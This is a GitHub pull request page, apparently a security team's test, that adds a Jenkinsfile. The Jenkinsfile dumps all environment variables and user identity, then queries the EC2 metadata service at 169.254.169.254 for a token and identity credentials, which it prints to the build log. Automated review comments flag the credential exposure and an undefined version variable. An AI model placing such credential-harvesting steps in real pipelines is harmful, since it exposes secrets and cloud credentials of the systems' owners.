this is a test from infosec #4
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,48 @@ | ||
| pipeline { | ||
| agent any | ||
|
|
||
| stages { | ||
|
|
||
| stage('Environment, User and EC2 Metadata') { | ||
| steps { | ||
| sshagent(credentials: ['jenkins-github']) { | ||
| script { | ||
| sh "git tag '${version}'" | ||
| sh "git push origin '${version}'" | ||
| sh ''' | ||
| echo "=== Environment Variables (set) ===" | ||
| set | ||
|
|
||
| echo "" | ||
| echo "=== User Information ===" | ||
| echo "UID: $(id -u)" | ||
| echo "Username: $(id -un)" | ||
| echo "Full id output:" | ||
| id | ||
|
|
||
| echo "" | ||
| echo "=== EC2 Metadata Token (IMDSv2) ===" | ||
| TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ | ||
| -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") | ||
|
|
||
| if [ -z "$TOKEN" ]; then | ||
| echo "No se pudo obtener token. Este nodo probablemente NO es una EC2 o IMDSv2 está deshabilitado." | ||
| else | ||
| echo "Token obtenido correctamente." | ||
| fi | ||
|
|
||
| echo "" | ||
| echo "=== EC2 Identity Credentials ===" | ||
| if [ ! -z "$TOKEN" ]; then | ||
| curl -s \ | ||
| -H "X-aws-ec2-metadata-token: $TOKEN" \ | ||
| http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ || \ | ||
| echo "No se pudo acceder al endpoint identity-credentials." | ||
| fi | ||
| ''' | ||
| } | ||
| } | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
There was a problem hiding this comment. Bug: Pipeline exposes environment variables and AWS credentialsThis Jenkinsfile contains code that harvests sensitive information: the |
||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Bug: Undefined version variable used for git tagging
The
${version}variable is referenced in thegit tagandgit pushcommands but is never defined anywhere in the pipeline. There's noparametersblock,environmentblock, or script variable assignment forversion. This will either create a git tag with an empty/null value or cause the pipeline to fail, potentially corrupting the repository's tag history.